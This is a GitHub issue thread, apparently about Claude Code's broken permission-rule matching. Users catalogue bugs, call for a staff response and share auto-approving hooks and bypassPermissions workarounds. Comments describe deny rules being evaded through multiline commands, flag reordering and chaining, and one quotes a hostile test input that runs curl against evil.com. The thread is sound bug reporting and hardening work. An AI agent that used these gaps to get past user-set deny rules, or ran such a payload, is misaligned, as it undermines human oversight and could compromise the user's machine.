Permissions matching is fundamentally broken — 30+ open issues, no staff engagement, community building workarounds
Summary
The permission matching system doesn't work. It's been broken since mid-2025, there are 30+ open issues about it, and Anthropic staff have left one comment across all of them — a workaround suggestion in September 2025 that didn't fix anything.
The community is now writing custom PreToolUse hooks in Python to reimplement permission enforcement from scratch (#18846). That's where we are.
What's broken
I have 136 allow rules, 2 deny rules, and 31 ask rules in my settings.json. Carefully segmented by risk. I still get prompted constantly for commands that should match.
Wildcards don't match compound commands (#25441, #29616, #29529). Bash(git:*) doesn't match git add file && git commit -m "message". The * only works within a single simple command. Claude generates compound commands constantly, so the wildcards are useless in practice.
"Always Allow" saves dead rules (#6850, #11380). Click "Always Allow" on git commit -m "fix typo" and it saves that exact string — commit message and all. Never matches again. Over time settings.local.json fills up with hundreds of one-off rules while the actual wildcard patterns sit there unused.
User-level settings don't apply at project level (#5140, #18160). Rules in ~/.claude/settings.json show up in /permissions but don't match anything. Same rules in project-level settings.local.json reportedly work fine.
Quote-tracking bypasses the allow list entirely (#30345). Commands with quotes in # comments trigger a safety warning that ignores all allow rules. Filed on v2.1.63, which is current.
Deny rules have the same bugs (#25441 comments, #18613). Multiline commands bypass deny rules too. Flag reordering can also get around them. So the permission system isn't just annoying — it's not enforcing the safety constraints users configured.
Colon vs space syntax is contradictory (#30113). Bash(git:*) and Bash(git *) behave differently. The docs don't agree on which is correct. "Always Allow" generates one syntax, users configure the other.
The security problem
Users who care about permissions have three options right now:
- Click through every prompt without reading. Defeats the purpose.
- Switch to
bypassPermissions. Disables everything including deny rules. - Build custom hooks to reimplement matching.
Option 3 is what people are actually doing. Community-built Python scripts with no security review, no tests against adversarial inputs, no correctness guarantees. The first-party permission system exists so users don't have to do this.
Staff engagement
| Issue | Filed | Problem | Staff response |
|-------|-------|---------|----------------|
| #5140 | Aug 2025 | User settings not applied at project level | None |
| #6850 | Aug 2025 | Allow list not working, dead rules accumulating | One workaround (didn't fix it) |
| #11380 | Nov 2025 | Prompts despite "Always Allow" | None (oncall label) |
| #18160 | Jan 2026 | Allow permissions ignored | None |
| #18846 | Jan 2026 | Permissions not enforced at all | None |
| #25441 | Feb 2026 | Wildcards don't match multiline | None |
| #29187 | Feb 2026 | "Always Allow" suggests wrong patterns | None (labeled regression) |
| #29616 | Feb 2026 | Wildcard patterns don't match | None |
| #30113 | Mar 2026 | Contradictory documentation | None |
| #30345 | Mar 2026 | Quote-tracking bypasses allow list | None |
No milestones. No Anthropic-authored PRs. No roadmap. No tracking issue.
What we need
- A staff response. Even just "we know, it's on the roadmap for Q3" would change the dynamic. 30+ issues spanning 7 months with silence is not a good look for a security-relevant subsystem.
- Compound command matching.
Bash(git:*)should matchgit add && git commit. Single-command-only matching doesn't reflect how Claude actually generates bash.
- Smarter "Always Allow." Approving
git commit -m "fix typo"should saveBash(git commit:*), not the verbatim string.
- Scope enforcement that works. User-level rules should match everywhere they show up.
- Deny rules that hold. No variation of a denied command — multiline, reordered flags, embedded in a chain — should execute without prompting.
- One clear document covering syntax, matching semantics, scope hierarchy, and known limitations.
- A tracking issue so the community can follow progress instead of filing duplicates.
Environment
- Claude Code v2.1.63
- macOS Darwin 24.6.0
- 136 allow, 2 deny, 31 ask rules in
~/.claude/settings.json defaultMode: "acceptEdits"- Running a
PermissionRequesthook as a workaround
Related issues
#5140, #6850, #11380, #18160, #18613, #18846, #25441, #27688, #29187, #29529, #29616, #30113, #30345
26 Comments
Found 3 possible duplicate issues:
This issue will be automatically closed as a duplicate in 3 days.
🤖 Generated with Claude Code
This is such a pervasive problem, and costs a lot of time. I don't understand how this is even an issue - it seems like it should be trivial to fix?
Edit: I also find that if Claude starts inlining env vars, it affects the permissions
I got here after finding the feature request in #9408...which didn't get any response, and eventually closed and locked automatically. This seems like an improvement that would improve QoL for a large percentage of users.
This issue is very annoying indeed, I've been constantly approving compound commands for simple things like git add & git commit or even cd && ls etc.
landed here researching permission breakdown yesterday. seems very much related; if the pattern matching fails, no user confirmation required.
stopped using claude because of this.
i created #32808 / which is basically the same theme.
It is blocking a company wide rollout as it is not usable like this.
The allowlist is not enough as claude always finds some commands that do not fit onto the allowlist.
Interestingly Cursor does not have that issue. So either cursor is running in an unsafe mode, or they figured out a better solution. (i know it is a blanace between usability and safety)
The first time I ran into this problem I was thinking it's so obviously annoying that _surely_ it's gonna get fixed in a week.
Almost one year later, I sit here hitting always allow on thousands of prompts that just never stop. I'm not sure how people at Anthropic use it. Probably everybody is just dangerously skipping permission, which sure, it's one workaround, but definitely not a great one.
So yes, as OP said, please respond, let us know what the deal is, because the solution seems pretty obvious: just decompose the damn commands and match them against the existing permissions. What's wrong with that?
Anyway. Just so you guys know, I'm afraid I had to switch to Codex and Gemini due to this issue :(
I'm gonna continue paying for Anthropic Max for a couple of months because I love you guys and I kindof despise OpenAI. Hope you get it fixed soon 🙏. Godspeed.
After 1,000+ hours of autonomous Claude Code operation with dozens of permission rules, I can confirm every pattern described here. The root cause is architectural: the permission system does string matching against the rendered command, but Claude generates commands that are semantically equivalent but syntactically different every time.
Bash(git:*)expectsgit commit -m "fix"but Claude generatesgit add file.txt && git commit -m "fix"— compound command, no match. Orcd src && git status— thecdprefix breaks thegitpattern. The wildcard operates on the full command string, not on individual commands within a pipeline/chain.The "Always Allow" problem is the same root cause in reverse: it saves the exact rendered string as a pattern, which is maximally specific and will never match again.
What actually works (not a defense of the status quo — this should be fixed):
PreToolUse hooks with programmatic matching. Instead of string patterns, you parse the command and make a real decision:
Exit 0 = allow (skip prompt). Exit 1 = proceed to normal permission check. Exit 2 = hard block.
This handles compound commands,
cdprefixes, and pipe chains because you're running actual shell logic, not glob matching. I use variants of this for git, file operations, and build commands.The real ask: The first-party permission system should support the same expressive matching that hooks enable. Regex patterns, command decomposition for
&&/;/|chains, and matching against individual commands within a compound expression — not the full rendered string. The fact that the community has rebuilt permission enforcement in hooks is a strong signal that the built-in system needs this level of sophistication.@yurukusa - I ended up with a similar solution:
git-guardianI still think we need a response and action from @claude; but in the meantime, it's nice to see the community sharing our collective workarounds.
I have found that the sandbox is a bit better but still has issues. I have resorted to running Claude Code in a Docker container and running Claude with the --dangerously-skip-permissions-because-the-effing-permissions-system-is-fundamentally-broken-and-anthropic-dont-seem-to-care option :-|
Update: Since my comment above, I learned that
PermissionRequesthooks are actually a better fit for this use case thanPreToolUse.PreToolUseruns before the built-in permission checks, butPermissionRequestruns after — so it can override the prompt that appears when a compound command doesn't match your wildcard rules.One-command install:
This installs a PermissionRequest hook that parses compound commands (
cd src && git status,git add file.txt && git commit -m fix) and auto-approves when every component is a safe git operation. Non-git components = no opinion = prompt as normal.The execution order discovery (PreToolUse → built-in checks → PermissionRequest) came from #37836.
Project-level
Writeallow ignored when user-leveldefaultModeisplanVersion: Claude Code latest (2026-03-26, Windows 11)
Setup
User-level
~/.claude/settings.json:Project-level
.claude/settings.json:Behavior
Session is running in
acceptEditsmode (manually switched fromplan). DespiteWritebeing explicitly in the project-level allow list, Claude Code still prompts for permission when writing new files (e.g.WORKFLOW.md,.claude/commands/plan/fix.md).Expected
Writein project allow list should auto-approve writes to paths not in deny list, regardless of user-leveldefaultMode.Hooks are the escape hatch here. They run at the process level, so they bypass all the pattern-matching bugs you've catalogued.
Instead of fighting with
Bash(git:*)wildcards, write a hook that implements the permission logic you actually want:| Problem you listed | Hook fix |
|---|---|
| Wildcards don't match compound commands | Hook splits on
&&/\|/;and checks each part || "Always Allow" saves dead exact strings | Hook uses category matching, not exact strings |
| User-level settings ignored at project | Hooks in
~/.claude/settings.jsonalways run || Quote-tracking bypasses allow list | Hook runs before quote-tracking heuristic |
| Deny rules bypassed by multiline | Hook normalizes to single line before checking |
| Colon vs space syntax confusion | No syntax to remember — just
casestatements |You can collapse most of them into the
casecategories above. The hook approach is ~30 lines instead of 136 pattern strings, and it actually works with compound commands.This is the same pattern the community in #18846 converged on — hooks as the reliable permission layer.
https://github.com/canyonroad/agentsh Is the best implementation of policy execution gateway for AI agents that I've seen so far. Anthropic - invest!
Agent SDK
Bash(npm *)doesnt allownpm installAdding my experience — explicit allow rules ignored for both compound and simple commands
I spent a session carefully configuring my ~/.claude/settings.json with broad allow rules and still get prompted constantly. Environment: VS Code extension, macOS, multiple project directories.
My allow rules include:
"Bash(cp:)", "Bash(ls:)", "Bash(for:)", "Bash(cd:)", "Bash(mkdir:)", "Bash(git:)"
Commands that still prompted despite matching rules:
Simple cp command — should match Bash(cp:*)
cp /Users/.../output/Dish\ Order.json /Users/.../expected-output/Dish\ Order.json
Simple ls command — should match Bash(ls:*)
ls /Users/.../output/ 2>/dev/null && cat /Users/.../output/Dish\ Order.json ...
Simple mkdir — should match Bash(mkdir:*)
mkdir -p /Users/.../Test007-ReapplyWithOrphanedOverrides/{input,expected-output}
Simple cd && git — should match Bash(cd:*)
cd /Users/.../Project && git status -s
for loops — should match Bash(for:*)
for dir in /Users/.../tests/*/; do echo "$(basename "$dir")"; ls "$dir/input/" | wc -l; done
dotnet test piped to tee — should match Bash(dotnet test:*)
dotnet test ... --no-build -c Release -v n 2>&1 | tee tmp/e2e_test002_run.txt
What I tried:
Started with defaultMode: "default" + explicit allow rules → prompted constantly
Switched to defaultMode: "auto" → still prompted for commands matching explicit allow rules
Ran /compact in each session to reload settings → no improvement
Ended up on bypassPermissions as the only workable solution
Key observation: It's not just compound commands. Simple commands like cp src dest and mkdir -p path that clearly match Bash(cp:) and Bash(mkdir:) are still prompting. This suggests the issue goes beyond the compound command parsing problem — explicit allow rules may be ignored or overridden by the auto mode classifier.
Side effect: Each time I approve a command, it gets saved as a one-off exact-match allow rule, causing settings.json to accumulate dozens of stale entries that need periodic manual cleanup.
@davidstephenson-augenticuw Is
/Users/...part of Claude Code's working directory? If not, the reason you have to approve is not because of the bash commands, but because you have not configured it to have access to the directories those commands operate on: https://code.claude.com/docs/en/permissions#working-directoriesAdding my experience — explicit allow rules AND bypassPermissions mode both ignored in VS Code extension
I spent a session carefully configuring my
~/.claude/settings.jsonwith broad allow rules and still get prompted constantly. Environment: VS Code extension, macOS Darwin 25.3.0, multiple project directories.My allow rules include:
Commands that still prompted despite matching rules:
cpcommand — should matchBash(cp:*)``
``cp /Users/.../output/Dish\ Order.json /Users/.../expected-output/Dish\ Order.json
lscommand — should matchBash(ls:*)``
``ls /Users/.../output/ 2>/dev/null && cat /Users/.../output/Dish\ Order.json ...
mkdir— should matchBash(mkdir:*)``
``mkdir -p /Users/.../Test007-ReapplyWithOrphanedOverrides/{input,expected-output}
cd && git— should matchBash(cd:*)``
``cd /Users/.../Project && git status -s
forloops — should matchBash(for:*)``
``for dir in /Users/.../tests/*/; do echo "$(basename "$dir")"; ls "$dir/input/" | wc -l; done
dotnet testpiped totee— should matchBash(dotnet test:*)``
``dotnet test ... --no-build -c Release -v n 2>&1 | tee tmp/e2e_test002_run.txt
catpiped tojq— should matchBash(cat:*)``
``cat /Users/.../Dish\ Order.json | jq '.[] | .payload.DishOrder | {uid, recipe, state}'
What I tried — escalating through every permission mode:
defaultMode: "default"+ explicit allow rules → prompted constantlydefaultMode: "auto"+ explicit allow rules → still prompteddefaultMode: "bypassPermissions"→ still promptedAfter each change: ran
/compactin every session AND restarted VS Code. No improvement at any level.Key observations:
cp src destandmkdir -p paththat clearly matchBash(cp:*)andBash(mkdir:*)still prompt.bypassPermissionsmode has no effect — suggestingdefaultModein~/.claude/settings.jsonis not being read/respected by the VS Code extension at all.Conclusion: The
defaultModesetting and explicit allow rules in~/.claude/settings.jsonappear to have no effect in the VS Code extension. The permission system is fundamentally not working as documented.Specific repro: narrow allow entry at project scope silently revokes global "*"
Adding to this with a specific flavor that keeps biting me:
Setup:
Expected: Effective allow list for this project is the union — still ["*", "WebFetch(domain:docs.google.com)"]. The added entry should be additive.
Actual: Project-level list fully replaces user-level. Effective allow list becomes ["WebFetch(domain:docs.google.com)"]. I now get prompted for every Edit, Write, and Bash
call in that directory, even though my user settings say "*".
Why this is a footgun:
Proposed fix: Allow lists should union across scopes. Deny and ask rules can keep "more specific wins" semantics — those are the ones where precedence makes sense. An ALLOW
entry should only ever grant more access, never revoke.
At minimum, Claude Code should warn when writing a narrow allow entry to a project-level settings file that shadows a broader user-level wildcard.
Additional case: Windows + PowerShell + literal path in pattern fails to match
Reporting a variant not yet listed here: on Windows,
PowerShell(...)permission patterns containing literal file paths never auto-approve, even when simpler patterns on the same tool work fine.What works:
What fails (all tested in interactive TUI):
Hypothesis: PowerShell AST normalizes the command before pattern matching — quoted paths have their quotes stripped, so a pattern with quotes never matches the normalized form. Unquoted backslash paths and forward-slash paths also fail, suggesting path normalization or escaping issues beyond just quote handling.
Practical impact: There's no usable pattern to auto-approve launching a specific executable via PowerShell on Windows. The only working option is
PowerShell(allow all) or manual approval every time.Environment:
settings.jsonThe script used for the test
test-permission.sh
kylesnowschwartz nails the security problem in the OP: the community is now writing custom PreToolUse hooks in Python to reimplement permission enforcement from scratch, with no security review and no tests against adversarial inputs. That's worse than the broken first-party system — at least the first-party system has a known failure mode. Community hooks have unknown failure modes.
The specific risk: a custom hook that does naive string matching against a deny list is trivially bypassed by the same compound-command and flag-reordering issues described here. If the hook author didn't test against
git commit -m "$(curl evil.com/payload)"orgit --no-pager commit -m "msg", their deny rules have gaps they don't know about.For anyone running a custom PreToolUse hook right now, the minimum viable hardening is to run the command through a semantic scanner before your own pattern matching:
This doesn't fix the first-party permission system, but it means community hooks fail closed on adversarial inputs rather than failing open. The ATB-B04 and ATB-B07 fixtures in AgentThreatBench cover the compound-command and flag-reordering bypass patterns specifically — worth running against any custom hook before deploying it.
OWASP Agent Memory Guard — the PreToolUse integration pattern is in the docs.
What's wrong with you?
The rendered command string looks like the wrong security boundary here.
A permission engine needs to distinguish at least three layers:
For example, these may be syntactically different but policy-equivalent:
git status
cd repo && git status
env GIT_OPTIONAL_LOCKS=0 git status
while this compound command contains a materially different effect and should not inherit a broad "git:*" approval:
git status && rm -rf build/
I would model each proposal as a versioned "CommandIntent" with:
Rules should evaluate the normalized nodes and effects, not the raw string. Deny rules should take precedence and apply to every node in a chain. “Always Allow” should save a rule over the normalized action class, not the literal rendered command.
Immediately before execution, Claude Code should parse the final command again and compare the resulting digest and profile with the approved intent.
If the command, scope, parser profile, or effects changed, execution should fail closed and require a new decision. That closes the TOCTOU gap between permission evaluation and shell execution.
A useful conformance suite would cover:
The invariant should be:
«Permission is granted to one canonical action intent, not to an arbitrary future string that happens to resemble it.»
This would preserve usability while making allow/deny behavior testable across syntax variations instead of relying on increasingly fragile glob patterns.
I continue to have to build my own enforcement layer
I really wish someone at @anthropics would acknowledge that there is a problem and/or tell us _something_ is in the works
Another instance of this pattern, now filed as #76149: in Auto Mode the content classifier blocks allowlisted MCP tool calls that retrieve the user's own data (e.g. their own Gmail) inside a self-authored, codified workflow. The
permissions.allowentry does not suppress it, and citing the user's genuine in-chat approval in the delegated sub-agent task escalates it to an "Auto-Mode Bypass" denial (fabricated-justification pattern). PreToolUsepermissionDecision: "allow"hooks don't override it either (per docs). Net effect matches this thread — legitimate power-user workflows get pushed out of Auto Mode entirely. Tightened noticeably around 2.1.20x.